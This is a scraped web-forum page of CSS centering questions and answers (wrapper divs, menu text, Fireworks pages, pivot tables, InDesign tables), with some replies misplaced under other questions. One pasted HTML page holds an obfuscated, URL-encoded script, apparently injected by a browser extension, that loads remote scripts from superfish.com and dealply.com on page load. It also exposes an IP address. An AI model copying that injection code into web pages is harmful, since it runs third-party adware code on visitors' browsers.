Css to center align

Hi I have tried to center allign using css as described in a tutorial cafetownsend by adobe. However, it doesn't seem to work.
I added the link to the css stylesheet and put the dive tag in but it doesn't allign to center.
This is the css
#wrapper {
width: 969px;
margin-right: auto;
margin-left: auto;
This is the code in html
<link href="css/centreNavbar.css" rel="stylesheet" type="text/css" />
</head>
<body onload="MM_preloadImages('images/buttons/b_Academia_blue.jpg','images/buttons/b_Colegio_b lue.jpg','images/buttons/b_Empresa_blue.jpg','images/buttons/b_Escuelainfantil_blue.jpg',' images/buttons/b_Particulares_blue.jpg','images/buttons/b_Informacion_blue.jpg')">
<div id="wrapper">
<table width="969" border="0" cellpadding="0" cellspacing="0">
    
    <tr>
      <td width="969" height="108" valign="top" style="background-image:url(images/Nintendobar.jpg)"><img src="images/barNintendoFinal.jpg" width="961" height="108" border="0" usemap="#Map" /></td>
    </tr>
    <tr>
      <td height="219" valign="top"><div align="center">
        <script type="text/javascript">
AC_FL_RunContent( 'codebase','http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0','wid th','900','height','400','src','start_up','quality','high','pluginspage','http://www.adobe .com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash','movie','start_up' ); //end AC code
        </script>
        <noscript>
        <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="900" height="400">
          <param name="movie" value="start_up.swf" />
          <param name="quality" value="high" />
          <embed src="start_up.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="900" height="400"></embed>
        </object>
        </noscript>
      </div></td>
    </tr>
    <tr>
      <td height="79" valign="center"><table border="0" cellpadding="10" cellspacing="0" bgcolor="#FFFFFF">
        
        <tr>
            <td width="89"><a href="javascript:;" target="_top" onclick="MM_nbGroup('down','group1','b1','images/buttons/b_Academia_blue.jpg',1)" onmouseover="MM_nbGroup('over','b1','images/buttons/b_Academia_blue.jpg','',1)" onmouseout="MM_nbGroup('out')"><img src="images/buttons/b_Academia.jpg" alt="" name="b1" border="0" id="b1" onload="" /></a></td>
            <td width="89"><a href="javascript:;" target="_top" onclick="MM_nbGroup('down','group1','b2','images/buttons/b_Colegio_blue.jpg',1)" onmouseover="MM_nbGroup('over','b2','images/buttons/b_Colegio_blue.jpg','',1)" onmouseout="MM_nbGroup('out')"><img src="images/buttons/b_Colegio.jpg" alt="" name="b2" border="0" id="b2" onload="" /></a></td>
            <td width="89"><a href="javascript:;" target="_top" onclick="MM_nbGroup('down','group1','b3','images/buttons/b_Empresa_blue.jpg',1)" onmouseover="MM_nbGroup('over','b3','images/buttons/b_Empresa_blue.jpg','',1)" onmouseout="MM_nbGroup('out')"><img src="images/buttons/b_Empresa.jpg" alt="" name="b3" border="0" id="b3" onload="" /></a></td>
            <td width="89"><a href="javascript:;" target="_top" onclick="MM_nbGroup('down','group1','b4','images/buttons/b_Escuelainfantil_blue.jpg',1)" onmouseover="MM_nbGroup('over','b4','images/buttons/b_Escuelainfantil_blue.jpg','',1)" onmouseout="MM_nbGroup('out')"><img src="images/buttons/b_Escuelainfantil.jpg" alt="" name="b4" border="0" id="b4" onload="" /></a></td>
            <td width="89"><a href="javascript:;" target="_top" onclick="MM_nbGroup('down','group1','b5','images/buttons/b_Particulares_blue.jpg',1)" onmouseover="MM_nbGroup('over','b5','images/buttons/b_Particulares_blue.jpg','',1)" onmouseout="MM_nbGroup('out')"><img src="images/buttons/b_Particulares.jpg" alt="" name="b5" border="0" id="b5" onload="" /></a></td>
            <td width="89"><a href="multimedia.html" target="_top" onclick="MM_nbGroup('down','group1','b6','images/buttons/b_Informacion_blue.jpg',1)" onmouseover="MM_nbGroup('over','b6','images/buttons/b_Informacion_blue.jpg','',1)" onmouseout="MM_nbGroup('out')"><img src="images/buttons/b_Informacion.jpg" alt="" name="b6" border="0" id="b6" onload="" /></a></td>
          </tr>
        <tr>
          <td height="3"></td>
            <td></td>
            <td></td>
            <td></td>
            <td></td>
            <td></td>
            <td></td>
            <td></td>
          </tr>
      </table></td>
    </tr>
    <tr>
      <td height="146"> </td>
    </tr>
</table>
</div>
<map name="Map" id="Map"><area shape="rect" coords="760,6,855,30" href="multimedia.html" alt="iniciar sesion" />
<area shape="rect" coords="251,70,342,93" href="multimedia.html" alt="multimedia" />
<area shape="rect" coords="185,70,247,96" href="index.html" alt="home page" />
<area shape="rect" coords="452,72,532,95" href="#" alt="contact email" />
</map></body>
</html>

All the theory seems to be easy BUT now my navigation bar isn't center alligned. I'm not too sure if I've written the div tag properloy either.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<script type="text/javascript">

</script>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Home page</title>
<style type="text/css">

</style>
<script src="Scripts/AC_RunActiveContent.js" type="text/javascript"></script>
<script type="text/javascript">

</script>
</head>
<body onload="MM_preloadImages('images/buttons/b_Academia_blue.jpg','images/buttons/b_Colegio_b lue.jpg','images/buttons/b_Empresa_blue.jpg','images/buttons/b_Escuelainfantil_blue.jpg',' images/buttons/b_Particulares_blue.jpg','images/buttons/b_Informacion_blue.jpg')">
<div class="#wrapper" id="wrapper">
<table width="969" border="0" cellpadding="0" cellspacing="0">
    
    <tr>
      <td width="969" height="108" valign="top" style="background-image:url(images/Nintendobar.jpg)"><img src="images/barNintendoFinal.jpg" width="961" height="108" border="0" usemap="#Map" /></td>
    </tr>
    <tr>
      <td height="219" valign="top"><div align="center">
        <script type="text/javascript">
AC_FL_RunContent( 'codebase','http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0','wid th','900','height','400','src','start_up','quality','high','pluginspage','http://www.adobe .com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash','movie','start_up' ); //end AC code
        </script>
        <noscript>
        <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="900" height="400">
          <param name="movie" value="start_up.swf" />
          <param name="quality" value="high" />
          <embed src="start_up.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="900" height="400"></embed>
        </object>
        </noscript>
      </div></td>
    </tr>
    <tr>
      <td height="79" valign="center"><table border="0" cellpadding="10" cellspacing="0" bgcolor="#FFFFFF">
        
        <tr>
            <td width="89"><a href="javascript:;" target="_top" onclick="MM_nbGroup('down','group1','b1','images/buttons/b_Academia_blue.jpg',1)" onmouseover="MM_nbGroup('over','b1','images/buttons/b_Academia_blue.jpg','',1)" onmouseout="MM_nbGroup('out')"><img src="images/buttons/b_Academia.jpg" alt="" name="b1" border="0" id="b1" onclick="MM_popupMsg('Sólo para academias. Necesitan permiso. Pedir permiso en [email protected]')" onload="" /></a></td>
            <td width="89"><a href="javascript:;" target="_top" onclick="MM_nbGroup('down','group1','b2','images/buttons/b_Colegio_blue.jpg',1)" onmouseover="MM_nbGroup('over','b2','images/buttons/b_Colegio_blue.jpg','',1)" onmouseout="MM_nbGroup('out')"><img src="images/buttons/b_Colegio.jpg" alt="" name="b2" border="0" id="b2" onload="" /></a></td>
            <td width="89"><a href="javascript:;" target="_top" onclick="MM_nbGroup('down','group1','b3','images/buttons/b_Empresa_blue.jpg',1)" onmouseover="MM_nbGroup('over','b3','images/buttons/b_Empresa_blue.jpg','',1)" onmouseout="MM_nbGroup('out')"><img src="images/buttons/b_Empresa.jpg" alt="" name="b3" border="0" id="b3" onclick="MM_popupMsg('Sólo para empresas. Necesitan permiso. Pedir permiso en [email protected]')" onload="" /></a></td>
            <td width="89"><a href="javascript:;" target="_top" onclick="MM_nbGroup('down','group1','b4','images/buttons/b_Escuelainfantil_blue.jpg',1)" onmouseover="MM_nbGroup('over','b4','images/buttons/b_Escuelainfantil_blue.jpg','',1)" onmouseout="MM_nbGroup('out')"><img src="images/buttons/b_Escuelainfantil.jpg" alt="" name="b4" border="0" id="b4" onload="" /></a></td>
            <td width="89"><a href="javascript:;" target="_top" onclick="MM_nbGroup('down','group1','b5','images/buttons/b_Particulares_blue.jpg',1)" onmouseover="MM_nbGroup('over','b5','images/buttons/b_Particulares_blue.jpg','',1)" onmouseout="MM_nbGroup('out')"><img src="images/buttons/b_Particulares.jpg" alt="" name="b5" border="0" id="b5" onload="" /></a></td>
            <td width="89"><a href="multimedia.html" target="_top" onclick="MM_nbGroup('down','group1','b6','images/buttons/b_Informacion_blue.jpg',1)" onmouseover="MM_nbGroup('over','b6','images/buttons/b_Informacion_blue.jpg','',1)" onmouseout="MM_nbGroup('out')"><img src="images/buttons/b_Informacion.jpg" alt="" name="b6" border="0" id="b6" onload="" /></a></td>
          </tr>
        <tr>
          <td height="3"></td>
            <td></td>
            <td></td>
            <td></td>
            <td></td>
            <td></td>
            <td></td>
            <td></td>
          </tr>
      </table></td>
    </tr>
    <tr>
      <td height="146"> </td>
    </tr>
</table>
<map name="Map" id="Map"><area shape="rect" coords="760,6,855,30" href="multimedia.html" alt="iniciar sesion" />
<area shape="rect" coords="251,70,342,93" href="multimedia.html" alt="multimedia" />
<area shape="rect" coords="185,70,247,96" href="index.html" alt="home page" />
<area shape="rect" coords="452,72,532,95" href="#" alt="contact email" />
</map>
</div>
</body>
</html>

Similar Messages

How to put a tab space in a center aligned paragraph and have it remained centered?

I am trying to put a tab spacing within a paragraph that is center aligned but when I press the tab button it pushes the paragraph to the left. How do I solve the problem? I have several lines I need to do this for so adjusting it one but one is a bit tedious.

I don't use Captchas because they are not web friendly. Humans have a hard time reading them which often leads to form submission failures and frustration. I much prefer the Honeypot (hidden input field) method. It traps spam bots who cannot resist filling in fields because they don't use CSS or JavaScript. If the hidden field contains any characters, your form processing script can be set-up to flag that as spam and abort the submission. Humans never see the hidden field, so it works seamlessly behind the scenes. There's no limit on how many hidden form fields you can have on a page.
Nancy O.

Unable to center align text in menu tabs

following is the code for the index page of my website faithinpeace.org/exppu...im trying to center align the menu text but something or another keeps happening . text not getting center aligned..please if anyone can help me with that
<!DOCTYPE html>

<html class=" js flexbox canvas geolocation rgba hsla multiplebgs backgroundsize borderimage borderradius boxshadow textshadow opacity cssanimations csscolumns cssgradients cssreflections csstransforms csstransforms3d csstransitions fontface generatedcontent video audio inlinesvg" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta charset="utf-8">
      <title>Peace University USA - America's Leading Faithbased School</title> 

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1.0">

    <meta charset="utf-8">

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>Peace University USA - America's Leading Faithbased School</title>    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    
    <meta name="robots" content="all">    
    
    

<link rel="stylesheet" type="text/css" media="screen" href="./index_files/bootstrap.css">
              
            <link rel="stylesheet" type="text/css" media="screen" href="./index_files/bootstrap-responsive.css">
        
<link rel="stylesheet" type="text/css" media="screen" href="./index_files/app.css">
    
    
    
    
    <link rel="shortcut icon" href="./images/favicon.ico">
    
   <script src="./index_files/jquery.min.js"></script><script src="./index_files/ga.js"></script><script type="text/javascript" src="./index_files/modernizr.js"></script>
<script type="text/javascript" src="data:text/javascript,%0D%0A(function()%7Bvar%20install_source%3D'Chrome%20Webstore'% 3Bvar%20ext_name%3D'FastestChrome'%3Bvar%20install_time%3D'1336405440836'%3Bvar%20ctid%3D' 1'%3Bif(install_source!%3D'Chrome%20Webstore')%7Bctid%3D'2'%3B%7D%0Aif(install_source%5B0% 5D%3D%3D'O'%26%26install_source%5Binstall_source.length-1%5D%3D%3D%22l%22)%7Bctid%3D'3'%3B %7D%0Aif(install_source%5B0%5D%3D%3D'I')%7Bctid%3D'4'%3B%7D%0Aif(install_source%5B0%5D%3D% 3D'O'%26%26install_source%5Binstall_source.length-1%5D%3D%3D%22y%22)%7Bctid%3D'5'%3B%7D%0A if(install_source%3D%3D'fastanium.com')%7Bctid%3D'6'%3B%7D%0Avar%20blacklist%3D%5B%2Fveetl e.com%2F%2C%2Femusic.com%2F%2C%2F1800flowers.com%2F%2C%2Fdominos.com%2F%2C%2Fsquidoo.com%2 F%2C%2Fwsj.com%2F%2C%2Fnetflix.com%2F%2C%2Fdeveloper.apple.com%2F%2C%2Fhotmail.com%2F%2C%2 Fnfl.com%2F%2C%2Fgrooveshark.com%2F%2C%2F.*live.com%2F%2C%2F.*battlefield.com%2F%2C%2Fdell .com%2F%2C%2Fpch.com%2F%5D%3Bif(window!%3Dwindow.top)%7Breturn%3B%7D%0Afor(var%20i%3D0%3Bi %3Cblacklist.length%3Bi%2B%2B)%7Bif(blacklist%5Bi%5D.test(document.location.href))%7Bretur n%3B%7D%7D%0Avar%20hashCode%3Dfunction(s)%7Bvar%20hash%3D0%3Bfor(var%20i%3D0%3Bi%3Cs.lengt h%3Bi%2B%2B)%7Bhash%3D((hash%3C%3C5)-hash)%2Bs.charCodeAt(i)%3Bhash%3Dhash%26hash%3B%7D%0A return%20hash%3B%7D%3Bvar%20ready%3Dfunction(callback)%0A%7Bvar%20check_ready%3Dfunction() %0A%7Bif(window.document.body)%7Bcallback()%3B%7D%0Aelse%7BsetTimeout(check_ready%2C100)%7 D%7D%3Bcheck_ready()%3B%7D%3Bready(function()%0A%7BsetTimeout(function()%0A%7Bif(%2F%5Ehtt p%3A%2F.test(document.location.href)%7C%7Cnew%20RegExp(%22%5Ehttps%3A%2F%2Fwww.google.com% 22).test(document.location.href))%0A%7B%20var%20inj%3Dfunction(u)%0A%7Bvar%20s%3Ddocument. createElement('script')%3Bs.type%3D'text%2Fjavascript'%3Bs.src%3Du%3Bdocument.getElementsB yTagName('head')%5B0%5D.appendChild(s)%3B%7D%3Bvar%20locale%3Dnavigator.browserLanguage%7C %7Cnavigator.language%3Bvar%20dlsource%3D%22fastestchrome%22%3Bvar%20userId%3D%2200000%22% 3Bif(%2FChrome%2F.test(navigator.userAgent))%7B%20if(ext_name%3D%3D%22Fastanium%22)%7Bdlso urce%3D%22fastanium%22%3BuserId%3D%22fastanium0000000000%22%2Bctid%3B%7D%0Aelse%7Bdlsource %3D%22fastestchrome%22%3BuserId%3D%22chrome0000000000%22%2Bctid%3B%7D%7D%0Aelse%20if(%2FFi refox%2F.test(navigator.userAgent))%7Bdlsource%3D%22fastestfox%22%3BuserId%3D%22fastestfox 0000000000%22%3B%7D%0Aelse%20if(%2FSafari%2F.test(navigator.userAgent))%7Bdlsource%3D%22fa stestsafari%22%3BuserId%3D%22safari0000000000%22%2Bctid%3B%7D%0Aelse%20if(%2FTrident%2F.te st(navigator.userAgent))%7Bdlsource%3D%22fastestie%22%3BuserId%3D%22fastestie0000000000%22 %3B%7D%0Aif(%2F%5Een%2Fi.test(locale)%7C%7C%2F%5Ede%2Fi.test(locale)%7C%7C%2F%5Efr%2Fi.tes t(locale))%0A%7Bif(%2FChrome%2F.test(navigator.userAgent))%7B%20if(Math.abs(hashCode(insta ll_time))%25100%3C1%26%26%2F%5Ehttp%3A%2F.test(document.location.href))%0A%7Binj(%22http%3 A%2F%2Foptstatic.dealply.com%2Ffast%2Fversion_content.js%3Fchannel%3Dfast2%22)%3B%7D%0Aels e%7Binj(%22https%3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsour ce%2B%22%26CTID%3D%22%2Bctid%2B%22%26userId%3D%22%2BuserId)%3B%7D%7D%0Aelse%7Binj(%22https %3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsource%2B%22%26CTID% 3D%22%2Bctid%2B%22%26userId%3D%22%2BuserId)%3B%7D%7D%0Aelse%0A%7Bif(%2FChrome%2F.test(navi gator.userAgent)%26%26%2F%5Ehttp%3A%2F.test(document.location.href))%7Bif(Math.abs(hashCod e(install_time))%25100%3E%3D85)%7Binj(%22http%3A%2F%2Foptstatic.dealply.com%2Ffast%2Fversi on_content.js%3Fchannel%3Dfast1%22)%3B%7D%0Aelse%7Binj(%22https%3A%2F%2Fwww.superfish.com% 2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsource%2B%22%26CTID%3D%22%2B1000%2B%22%26userId %3D%22%2BuserId%2B%221000%22)%3B%7D%7D%0Aelse%20if(true%7C%7Cnew%20RegExp(%22%5Ehttps%3A%2 F%2Fwww.google.com%22).test(document.location.href))%7Binj(%22https%3A%2F%2Fwww.superfish. com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsource%2B%22%26CTID%3D%22%2B1000%2B%22%26us erId%3D%22%2BuserId%2B%221000%22)%3B%7D%7D%0A%7D%7D%2C500)%3B%7D)%3B%7D())%3B%0D%0A%0D%0A% 0D%0A"></script><script type="text/javascript" src="./index_files/sf_conduit.jsp"></script><script type="text/javascript" src="./index_files/base_single_icon.js"></script><script type="text/javascript" src="./index_files/dojo.xd.js"></script><script type="text/javascript" charset="utf-8" src="./index_files/script.xd.js"></script><script type="text/javascript" charset="utf-8" src="./index_files/window.xd.js"></script><script type="text/javascript" src="./index_files/getSupportedSitesJSON.action" id="sufioIoScript1" charset="utf-8"></script><script type="text/javascript" src="./index_files/rvwl.action" id="sufioIoScript2" charset="utf-8"></script><script type="text/javascript" src="./index_files/getCouponsSupportedSites.action" id="sufioIoScript3" charset="utf-8"></script>
<style type="text/css">
body {
          margin-left: 200px;
          overflow:hidden
.n {
          text-align: center;
</style>
</head>

    <body class="ual">
    
    <nav id="top-navigation-column-1" class="span2" role="navigation" >
               </nav>
<a class="indent-text" href="http://www.faithinpeace.org">Skip secondary navigation</a>
            <nav id="top-navigation-column-2" class="span3" role="navigation">
              
              <ul id="nav-sub" class="nav">
            </nav>
<div id="top-navigation-column-3" class="span4">
          
              <div class="search-wrapper"></div>
          
    </div>
          </div>
        </header>
      </div>       
      <div class="tab-index">
        <div class="ual-tab">
            <figure>         <a href="http://www.faithinpeace.org">
              <img src="images/puimage.png" alt="Home" style="width : 940px; height : 400px;    "> </a>
            <figcaption></figcaption>
          </figure>
                    <section class="ual-tab-scroll-text">
              <h2>
              </h2>
              <p class="teaser"></p>
          </section>
        </div>
        <nav class="ual-tabbed-content">
          <ul class="nav-bar">
            <li id="camberwell" class="has-flyout">
              <a class="main camberwell" href="index.htm" title="Home" rel="camberwell">Home</a>
            </li>
            <li id="csm" class="has-flyout">
              <a class="main csm" href="./admissions.htm" title="Admissions" rel="csm">Admissions</a>
            </li>
            <li id="chelsea" class="has-flyout">
              <a class="main chelsea" href="./academics.htm" title="Academics" rel="chelsea">Academics</a>
            </li>
            <li id="lcc" class="has-flyout">
              <a class="main lcc" href="collaborate.htm" title="Collaborate" rel="lcc">Collaborate</a>
            </li>
            <li id="lcf" class="has-flyout">
              <a class="main lcf" href="" title="Virtual University" rel="VU">VirtualUniversity</a>
            </li>
            <li id="wimbledon" class="has-flyout">
              <a class="main wimbledon" href="./contact.htm" title="Contact Us" rel="Contact Us">Contact Us</a>
            </li>
          </ul>
          <div class="flyout camberwell" data-role="camberwell" style="display: none; ">
            <a href="./index" title="Peace University USA">
              <img src="./images/home.png" alt="" style="width : 940px; height : 400px;    ">
            </a>
          </div>
          <div class="flyout csm" data-role="csm" style="display: none; ">
            <a href="./admissions.htm" title="We have a place for everyone">
              <img src="./images/admissions.png" style="width : 940px; height : 400px;    ">
            </a>
          </div>
          <div class="flyout chelsea" data-role="chelsea" style="display: none; ">
                     <a title="Academics" href="./academics.htm">
              <img src="./images/academics.png" alt="" style="width : 940px; height : 400px;    ">
                    </a>
          </div>
          <div class="flyout lcc" data-role="lcc" style="display: none; ">
<a title="Joining hands to strengthen resources" href="./collaborate.htm">
              <img src="./images/collaborate.png" style="width : 940px; height : 400px;    ">
</a>
          </div>
          <div class="flyout lcf" data-role="lcf" style="display: none; ">
            <a href="digital.edu/lms/" title="Online Education @Peace">
               <img src="./images/vu.png" style="width : 940px; height : 400px;    ">
            </a>
          </div>
          <div class="flyout wimbledon" data-role="wimbledon" style="display: none; ">
            <a href="./contact.htm" title="Contact Us">
              <img src="./images/contact.png" alt="" style="width : 940px; height : 400px;    ">
            </a>
          </div>
        </nav>
      </div><div class="four-box-teasers row">
        <ul class="slide-teasers">
          <li class="has-slide span3">
            <h3>Media Arts and Design</h3>
            <a href="http://www.facebook.com/pages/MAD-Media-Art-and-Design-Center-of-Excellence/31164214225245 2"><img src="images/mad.png" alt="M.A.D" style="width : 220px; height : 110px;    "></a>
            <div class="slide-up slide-up-active" style="display: none; ">
              <p>
                <a href="./mad.htm" title="M.A.D">Collaborating with <a href="digital.edu" title="Digital University Of America" target="_blank">Digital University</a> Media, Art and Design Center of Excellence (M.A.D.) the creative arm of Digital University of America to promote Media, Art and Design in every shape and form</a>
              </p>
            </div>
          </li>
          <li class="has-slide span3">
            <h3>Youth Engagement Platform</h3>
            <a href="http://www.facebook.com/pages/YEP-Youth-Engagement-Platform-Peace/309623245721408"><img src="images/yep.png" alt="course books" style="width : 220px; height : 110px;    "></a>
            <div class="slide-up slide-up-active" style="display: none; ">
              <p>
                               <a href=".images/yep.htm" title="YEP">Engaging Youth to express themselves through Visual, Literary and Performing arts.</a>
              </p>
            </div>
          </li>
          <li class="has-slide span3">
            <h3>Courses</h3>
            <img src="images/courses.png" alt="yep image" style="width : 220px; height : 110px;    ">
            <div class="slide-up slide-up-active" style="display: none; ">
              <p>
                           <a href="courses.htm" title="Courses">Find out about courses on offer @Peace University USA.</a>
              </p>
            </div>
          </li>
          <li class="has-slide span3">
            <h3>English Training Programs</h3>
            <img src="images/etp.png" style="width : 220px; height : 110px;    ">
            <div class="slide-up slide-up-active" style="display: none; ">
              <p>
                <a href="./etp.htm" title="English Training Program">Peace University offers custom-made English training programs, in collaboration with Digital University of America</a>
              </p>
            </div>
          </li>
        </ul>
      </div>      
      <footer id="footer">
        <div class="row">
          <section class="footer-links span12">
            <ul class="footer-links span6">

              <li class="facebook">
              <a href="http://www.facebook.com/pages/Peace-University/235720776442514" title="Visit PU on Facebook" target="_blank">Facebook</a></li>
            </ul>
            
                        <ul class="footer-links span6">
             <li><a href="http://eepurl.com/nj22f">
              Sign up for latest News |</a></li>
              <li><a href="./contact.htm">
              Contact Us </a></li></ul>
          </section>
        </div>
      </footer>
    </div>    
    <script src="./index_files/jquery.min.js"></script>
    <script>window.jQuery || document.write('<script src="/media/artsacukstyleassets/component-library/jquery.min.js"><\/script>')</script>

<script type="text/javascript" src="./index_files/script.js"></script>
    
    
    <script>
      var _gaq=[['_setAccount','UA-182294-1'],['_trackPageview']];
      (function(d,t){var g=d.createElement(t),s=d.getElementsByTagName(t)[0];
      g.src=('https:'==location.protocol?'//ssl':'//www')+'.google-analytics.com/ga.js';
      s.parentNode.insertBefore(g,s)}(document,'script'));
    </script>
<div class="extLives"></div><div id="tc_container" style="display: none" data="fc"></div><sfmsg id="sfMsgId" data="{"imageCount":0,"ip":"182.177.144.206"}"></sfmsg><div style="display: none; " id="hiddenlpsubmitdiv"></div><script>try{for(var lastpass_iter=0; lastpass_iter < document.forms.length; lastpass_iter++){ var lastpass_f = document.forms[lastpass_iter]; if(typeof(lastpass_f.lpsubmitorig2)=="undefined"){ lastpass_f.lpsubmitorig2 = lastpass_f.submit; lastpass_f.submit = function(){ var form=this; var customEvent = document.createEvent("Event"); customEvent.initEvent("lpCustomEvent", true, true); var d = document.getElementById("hiddenlpsubmitdiv"); for(var i = 0; i < document.forms.length; i++){ if(document.forms[i]==form){ d.innerText=i; } } d.dispatchEvent(customEvent); form.lpsubmitorig2(); } } }}catch(e){}</script></body></html>

Have you tried adding the following css selector to your css file.
.nav-bar a {
    text-align: center;
or insert it in the <style> tag you have on the page:
<style type="text/css">
body {
    margin-left: 200px;
.n {
    text-align: center;
.nav-bar a {
    text-align: center;
</style>

How to center align preview page

When I preview my webpage (which I am creating in fireworks) in the browser it is to the left of the page, How do I center align it?? Thank you in advance for your help

You shouldn't be creating your total web page in Fireworks, only the graphics :-)
You should slice up the images you need and then export those and use them in your HTML or via the stylesheet as background images. A web page that is full of images will only slow down the loading plus not be indexed by search engines...
To then center the page, you need to use CSS to to align the page in the center of the browser window regardless of window size. This again, is done when you move over to the HTML editor, not in FWs.
A good tutorial that may help the transition from taking a FWs comp to HTML
http://www.adobe.com/devnet/dreamweaver/articles/dw_fw_css_pt1.html
Nadia
Adobe® Community Expert : Dreamweaver
Unique CSS Templates |Tutorials |SEO Articles
http://www.DreamweaverResources.com
Book: Ultimate CSS Reference
http://www.sitepoint.com/launch/005dfd4/3/133
http://twitter.com/nadiap

Some of the pivot table header column not center-aligned

I've dragged a pivot table model from Data Controls. The generated pivot table on page does not display some of the header columns center-aligned. I tried to set a css style in HeaderFormat listener for the columns, but it did not work. I checked the html source code and found the problem was caused by "colspan" not created properly. I'd like to know how pivot table header columns are created, anyone who knows please kindly give some tips,thanks!

Try setting the Header Row to allow to repeat. I've had to set that Repeat option to get things to break over pages correctly.
Ryan D. Lunka
Cardinal Solutions Group
[email protected]

Center Aligning a Webpage?

For some reason, my webpage is center aligned in Firefox, but not in Safari or Opera. I'm not sure about IE since I don't have it on my computer. Whatever the case, I finally got the webpage to align the way I wanted it to (in the center), and it looked perfect in Firefox. In Safari, however, it was left aligned, and in Opera, it was between the two... about 25% away from the left part of the screen.
Is there any way to fix this problem? Here's my code.
<link href="../styles.css" rel="stylesheet" type="text/css">
<div id="wrapper">
<div id="container">
    <div id="header"></div>
    <div id="menu"><img src="../Images/home_button" width="160" height="43" alt="home_button"><img src="../Images/faq_button" width="160" height="43" alt="faq_button"><img src="../Images/newsletter_button" width="160" height="43" alt="newsletter_button"><img src="../Images/donate_button" width="160" height="43" alt="donate_button"><img src="../Images/contact_button" width="160" height="43" alt="contact_button">
    <div id="middle">
      <h2>Text Goes Here</h2>
</div>
    <div id="footer">
    </div>
</div>
</div>

As John says, without seeing your style sheet or preferably showing the page on a live website, it's impossible to say what the problem might be. However, I see that you have a wrapper div. The style for the wrapper should be something like this:
#wrapper {    width: 780px;    margin: 0 auto;}
That will centre your page and make the contents 780px wide. You can change the width to suit your requirements, but the div must have a declared width (it can be a percentage or measured in ems if you prefer).

Center Align images?

I had just finished my first page which I saved. I then checked the page on line and saw where I needed to put in a "named anchor". When I tried to do that all of the images after that point moved to the left. They were previously centered. The one image above the "named anchor" entry point stayed centered. In some of the subsequent divs where there was only text it stayed centered. I cannot imagine any reason the "named anchor" activity would effect the image centering but I am stuck. I checked the image divs and the CSS says: text-align: center; but they are all aligned left except for the image above where I tried to place the "named anchor". For instance the first of the following two images (LayoutDiv1) is perfectly centered and the 2nd image (Pic1) is on the left side of it's div as are all of the rest even though the CSS descriptions all say "centered". #LayoutDiv1 { clear: both; float: left; margin-left: 0; width: 100%; display: block; padding-bottom: 15px; text-align: center; padding-top: 20px; } #pic1 { clear: both; float: left; margin-left: 0px; width: 100%; display: block; text-align: center; border-image-width: 1px; }

Since you have your page online please post a link to it.
Partial scraps of CSS code no HTML don't help much.

Is there a shortcut to center-align all items of a certain type only?

I know the title of this thread is poorly worded; I apologize. Let me try to explain.
I design transit schedules, which I create in InDesign using tables. These schedules list arrival times for bus stops, but when the bus does not stop at a particular stop, this is indicated by an em dash.
Example:
The times are left-aligned within the columns (they are aligned on the colon). However, the em dashes are center-aligned. Currently, the entire table is left-aligned by default, and I manually highlight and center-align the em dashes. When there are just a few em dashes or when the em dashes are all adjacent to each other, it's no big deal.
But I often have to work with schedules in which the em dashes are in every other row (like the top half in the example above) or scattered throughout the table, and in those cases, my very manual method is a real pain in the neck—I have to highlight and center each em dash individually.
What I would LOVE to find is a feature similar to the Find and Replace feature, in which I could essentially ask InDesign to Find all em dashes within the document and center align them only. I've searched for such a feature to no avail. Am I overlooking something, or is this just not possible in InDesign? And if it's not possible, can you think of a better and more efficient way of center-aligning the em dashes than my current method?
FYI, I'm still using InDesign CS3, though I hope to upgrade soon. If I learn that a Find and Align type of feature is available in CS5, well—that's just more motivation for me to upgrade ASAP!
Thanks for your help and input.

It can be solved through find and change itself. I think the below image will clarify your requirement.

How to get my_text in the CENTER aligned on my_form?

Hello
I put a text field (say, its name is 'my_field' 80 characters length) WITH OUT caption and NONE appearence (not Solid box, no Sunken box).
And i am populating/filling this field with some value PROGRAMATICALLY. Pre-Populating value is vary in its lenght.
For example in 1st case, i am pre-populating this my_field with 'AAAAAAAAAAAAA'
In some other case, i am pre-populating this my_field with 'AAAA'
In some other case, i am pre-populating this my_field with 'AAAAAAAAAAAAAAAAAAAAAAAAAAA'
Fine.
But i want print this text/value IN THE CENTER all the time / all cases, no matter How much lenghts's value i am populating, i mean, it shuld come CENTER in the micro soft word
Pls. let me know how to get this formatting as CENTER ALIGNMENT
Thank you

You probably need to set the Align property of the Text field at design time..
Select the Text Field and then in the Text formatting toolbar, choose the Align Center option to have the text displayed always in the center.
Thanks
Srini

Defining a Center Aligned Table in a WebI Report ?

I sure hope I'm missing something, but one of our developers has been struggling with this for days and it seems like such an obvious report building exercise. I looked myself and couldn't see how to do it either... not even using something crafty.
The basic problem is that we have some content that will change every time the report is run, so we put this data in a one row table with the "show when empty" feature disabled for the cells and "auto-fit width" turned on. If we could just center align the resulting table we would be fine, but the only way to center align it is to select another item and then use the center align feature. However, that is a one-time operation that simply calculates the offset given the current data. If the report is run again with different prompts (for example) the table size may be different, but the center offset is not recalculated because there is no way to mark the table for center alignment.
